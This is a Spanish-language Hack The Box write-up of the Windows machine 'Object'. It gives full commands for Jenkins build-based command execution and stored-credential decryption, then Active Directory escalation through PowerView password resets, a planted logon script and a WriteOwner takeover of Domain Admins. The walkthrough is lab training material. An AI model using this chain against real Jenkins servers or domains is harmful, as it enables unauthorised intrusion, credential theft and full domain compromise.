Maquina Object - htb writeup

Firtmiracle el
Maquina Object - htb writeup

El dia de hoy vamos a resolver Oject de hackthebox una maquina windows de dificultad dificil, esta vez nos enfrentamos a un jenkyll el cual vamos a explotarlo de dos maneras, la primera a traves de la ejecución de una tarea ejecutada periodicamente y la otra a traves del empleo de un token, despues enumeraremos las reglas de firewall para verificar las restricciones y aprochecharemos el acceso a los archivos del jenkins para desencriptar una contraseña que nos permitira conectarnos al sistema. Ya estando dentro luego de realizar una enumeración con bloodhound, abusaremos del permiso de ForceChangedPassword para cambiar la contraseña de un usuario y una vez como este aprovecharnos de GenericWrite para retocar los atributos de otro usuario manipulando el comportamiento de acción a traves del inicio de sesión y migrar a otro usuario para finalmente con el privilegio WriteOwner asigarnos el privilegio de DomainAdmins y asi obtener acceso completo al sistema.

Maquina bastante interesante.

Comenzamos como es de costumbre creando un directorio con el nombre de la maquina:

❯ mkdir Object
❯ ls

 Object

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

ENUMERACION #

Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.11.132
PING 10.10.11.132 (10.10.11.132) 56(84) bytes of data.
64 bytes from 10.10.11.132: icmp_seq=1 ttl=127 time=143 ms

--- 10.10.11.132 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 143.382/143.382/143.382/0.000 ms

Vemos que la maquina nos responde, con un ttl de 127 y por proximidad seria correspondiente a una maquina windows.

ESCANEO DE PUERTOS

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.132 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-26 17:58 -05
Initiating SYN Stealth Scan at 17:58
Scanning 10.10.11.132 [65535 ports]
Discovered open port 80/tcp on 10.10.11.132
Discovered open port 8080/tcp on 10.10.11.132
Discovered open port 5985/tcp on 10.10.11.132
Completed SYN Stealth Scan at 17:58, 26.99s elapsed (65535 total ports)
Nmap scan report for 10.10.11.132
Host is up, received user-set (0.20s latency).
Scanned at 2023-10-26 17:58:21 -05 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
80/tcp   open  http       syn-ack ttl 127
5985/tcp open  wsman      syn-ack ttl 127
8080/tcp open  http-proxy syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.10 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 22 (968B)

ESCANEO DE VERSION Y SERVICIOS

❯ nmap -sCV -p80,5985,8080 10.10.11.132 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-26 18:00 -05
Nmap scan report for 10.10.11.132
Host is up (0.25s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mega Engines
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8080/tcp open  http    Jetty 9.4.43.v20210629
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.43.v20210629)
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.27 seconds

Entre los puertos abiertos mas relevantes podemos visualizar:

Puerto Servicio Versión
80 HTTP Microsoft IIS httpd 10.0
8080 HTTP Jetty 9.4.43.v20210629
5985 HTTP WINRM

EXPLOTACION #

Como vemos que los puertos 80 y 8080 corresponde a un servicio web con whatweb vamos a tratar de enumerar las tecnolologias que emplean.

❯ whatweb http://10.10.11.132
http://10.10.11.132 [200 OK] Country[RESERVED][ZZ], Email[ideas@object.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.132], JQuery[2.1.3], Microsoft-IIS[10.0], Modernizr, Script, Title[Mega Engines]
❯ whatweb http://10.10.11.132:8080
http://10.10.11.132:8080 [403 Forbidden] Cookies[JSESSIONID.c4a63e7b], Country[RESERVED][ZZ], HTTPServer[Jetty(9.4.43.v20210629)], HttpOnly[JSESSIONID.c4a63e7b], IP[10.10.11.132], Jenkins[2.317], Jetty[9.4.43.v20210629], Meta-Refresh-Redirect[/login?from=%2F], Script, UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session]
http://10.10.11.132:8080/login?from=%2F [200 OK] Cookies[JSESSIONID.c4a63e7b], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(9.4.43.v20210629)], HttpOnly[JSESSIONID.c4a63e7b], IP[10.10.11.132], Jenkins[2.317], Jetty[9.4.43.v20210629], PasswordField[j_password], Script[text/javascript], Title[Sign in [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin]

Vemos que nos enfrentamos a un IIS y en el puerto 8080 a un jenkyll, asi que vamos a proceder a abrirnos el servicio en nuestro navegador.

Vemos la opcion de crear cuenta, asi vamos a proceder a registrarnos.

Una vez creamos nuestra cuenta, nos redirigimos a un panel de usuario.

Dentro podemos crear un proyecto al cual llamare test.

Tendremos una serie de opciones como agregar un nombre.

Y en la parte de build triggers, seleccionar que se ejecute periodicamente y configurar la ejecución cada minuto como si fuera una tarea cron.

Despues en build seleccionar ejecutar comando de windows.

Aqui agregaremos el comando que deseamos ejecutar, Aplicamos los cambios y guardamos.

Pasado un minuto vemos en nuestro build history vemos dos compilaciones.

Seleccionamos cualquiera y en console output vemos que se ejecuto el comando correctamente.

Otra forma mas comoda en la que podemos ejecutar comandos es a traves de la creación de un token, esto podemos hacerlo en la configuración de nuestro perfil.

Ahora en la configuración de nuestro proyecto debemos indicarle esta vez en lanzar ejecuciones remotas y ahora a esa url generada debemos de tramitarle una petición con la autenticacion requerida, donde debemos indicarle nuestro usuario y el token.

Esta vez trataremos de ejecutar otro comando para listar el directorio actual.

Lanzamos la petición con curl.

❯ curl -s -X GET "http://fmiracle:1120abc86ec7661ac09d63349eb055baff@10.10.11.132:8080/job/test/build?token=myToken"

Recargamos la pagina y vemos que se genero otro build.

Seleccionamos el nuevo build y vemos que el codigo se ejecuto correctamente.

Ahora podriamos tratar de ganar acceso al sistema a traves de una conexión por tcp o udp a nuestra maquina, pero si hacemos el mismo proceso y ejecutamos esta sentencia en powershell podemos ver mediante las reglas de firewall que unicamente tenemos permitido el icmp.

Vimos anteriormente que listando el directorio existia uno llamado .jenkys, asi que vamos a listar los recursos dentro de este, esto lo logramos ejecutando los mismos pasos anteriores.

Vemos los directorios users y secrets y si lo listamos vemos los usuarios existentes.

Si listamos ahora lo que hay en admin, encontramos un archivo config.xml, que si lo leemos vemos la contraseña del usuario encryptada.

Esta contraseña podemos tratar de desencriptarla, pero para ello vamos a necesitar los archivos del directorio secrets los archivos master.key y hudson.util.secret.

Primero vamos a copiarnos el master.key

No olvidemos que hay quitar el salto de linea para que no de problemas.

❯ cat master.key| tr -d '\n' | sponge master.key

Ahora nos copiaremos el hudson pero debido a que este no es legible primero lo vamos a convertir a base64.

Una vez que tenemos los 3 archivos.

❯ ls
 config.xml   hudson.util.Secret   master.key

Vamos a utilizar la herramienta del repositorio de hoto:

Solo debes ejecutar este comando para tenerla.

curl -L \
  "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.0/jenkins-credentials-decryptor_1.2.0_$(uname -s)_$(uname -m)" \
   -o jenkins-credentials-decryptor

chmod +x jenkins-credentials-decryptor

Ejecutamos con los parametros correspondientes, indicando cada archivo y obtenemos la contraseña en texto claro.

❯ ./jenkins-credentials-decryptor -c config.xml -m master.key -s hudson.util.Secret
[
  {
    "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
    "password": "c1cdfun_d2434\u0003\u0003\u0003",
    "username": "oliver"
  }
]

Ahora que el servicio de winrm esta activo, podemos conectarnos usando estas credenciales al equipo y obtenemos la primera flag user.txt.

❯ evil-winrm -i 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\oliver\Documents> whoami
object\oliver

ELEVACION DE PRIVILEGIOS #

Vamos a utilizar sharphound para enumerar el sistema y visualizar los resultados en bloodhound.

Subimos el sharphound al equipo importandolo directamente con Iex.

*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload /home/fmiracle/machines/Oject/content/SharpHound.ps1
                                        
Info: Uploading /home/fmiracle/machines/Oject/content/SharpHound.ps1 to C:\Windows\Temp\Privesc\SharpHound.ps1
                                        
Data: 1297764 bytes of 1297764 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Import-Module .\SharpHound.ps1

Nos transferimos el comprimido y lo abrimos en bloodhound.

*Evil-WinRM* PS C:\Windows\Temp\Privesc> download C:\Windows\Temp\Privesc\20231026165356_BloodHound.zip
                                        
Info: Downloading C:\Windows\Temp\Privesc\20231026165356_BloodHound.zip to 20231026165356_BloodHound.zip
                                        
Info: Download successful!

Observamos que el usuario oliver tenemos el permiso de ForceChangedPassword sobre smith.

Si vamos a la opción abuse info, vemos una manera de poder aprovecharnos de este privilegio, para ello primero debemos generar una contraseña en formato SecureString y ejecutar Set-DomainUserPassword que es una función de Powerview.ps1 asi que primero debemos descargarnos el script e importarnos el modulo.

*Evil-WinRM* PS C:\Windows\Temp\Privesc> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Windows\Temp\Privesc> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Set-DomainUserPassword -Identity smith -AccountPassword $secPassword

Validamos y nos conectamos exitosamente como smith con la credencial que definimos.

❯ evil-winrm -i 10.10.11.132 -u 'smith' -p 'Password123!'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint

Ahora que somo smith vamos a marcarlo como Owned y veamos con que permisos cuenta este nuevo usuario.

Vemos que este nuevo usuario tiene el privilegio de GenericWrite sobre maria, y si vamos a abuse info nos dice que podemos tratar de ejecutar un kerberoasting attack, pero si lo tratamos de realizar no podremos crackear la contraseña debido a que la contraseña del usuario maria es bastante robusta.

Pero dado que con este privilegio podemos modificar los atributos de un usuario, vamos a tratar de aprovecharnos de este privilegio asignando un script de inicio de sesión al perfil de maria, de este modo cada vez que inicie sesión puedo hacer que ejecute un script que podemos definirnos.

Pero para ello debemos de usar la función Set-DomainObject que se encuentra en PowerView.ps1, asi que vamos a volver a importarlo.

*Evil-WinRM* PS C:\ProgramData\Privesc> Import-Module .\PowerView.ps1

Despues vamos a crear un script test.ps1 que copie todos los archivos del escritorio de maria a mi ruta actual.

*Evil-WinRM* PS C:\ProgramData\Privesc> echo "copy C:\Users\Maria\Desktop\* C:\ProgramData\Privesc\" > test.ps1
*Evil-WinRM* PS C:\ProgramData\Privesc> Set-DomainObject -Identity maria -SET @{scriptpath='C:\ProgramData\Privesc\test.ps1'}

Listamos los archivos y vemos un archivo Engine.xsl que vamos a traernos a nuestro equipo.

Abrimos el archivo con libreoffice.

❯ ls
 20231026165356_BloodHound.zip   config.xml   credentials.txt   Engines.xls   hudson.util.Secret   jenkins-credentials-decryptor   master.key   PowerView.ps1   SharpHound.ps1
❯ libreoffice Engines.xls

Probamos las contraseña y obtenemos nuevas credenciales validas, maria:W3llcr4ft3d_4cls, nos conectamos y ahora somos el usuario maria.

❯ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> whoami
object\maria

Ahora como maria vemos que tenemos el privilegio de WriteOwner sobre Domain Admins y ya con esto podriamos asignarnos el grupo Domain Admins.

Si vemos el abuse info nuevamente podemos ver que nos indica una forma en la que podemos hacerlo, para ello vamos a ejecutar lo siguiente, pero no sin antes volver a importar el PowerView.ps1.

*Evil-WinRM* PS C:\ProgramData\Privesc> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\ProgramData\Privesc> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity maria
*Evil-WinRM* PS C:\ProgramData\Privesc> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All -PrincipalIdentity maria

Vemos los grupos del usuario maria y ya se encuentra en Domain Admins.

*Evil-WinRM* PS C:\ProgramData\Privesc> net user maria
User name                    maria
Full Name                    maria garcia
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/21/2021 9:16:32 PM
Password expires             Never
Password changeable          10/22/2021 9:16:32 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 C:\ProgramData\Privesc\test.ps1
User profile
Home directory
Last logon                   10/26/2023 2:25:15 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Admins        *Domain Users
The command completed successfully.

Ahora tendriamos que volver a conectarnos para actualizar los permisos, dirigirnos al directorio personal del usuario Administrator y visualizar la segunda flag root.txt.

❯ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
923cbfd8245771bc2a485f96fb451072

Comments

comments powered by Disqus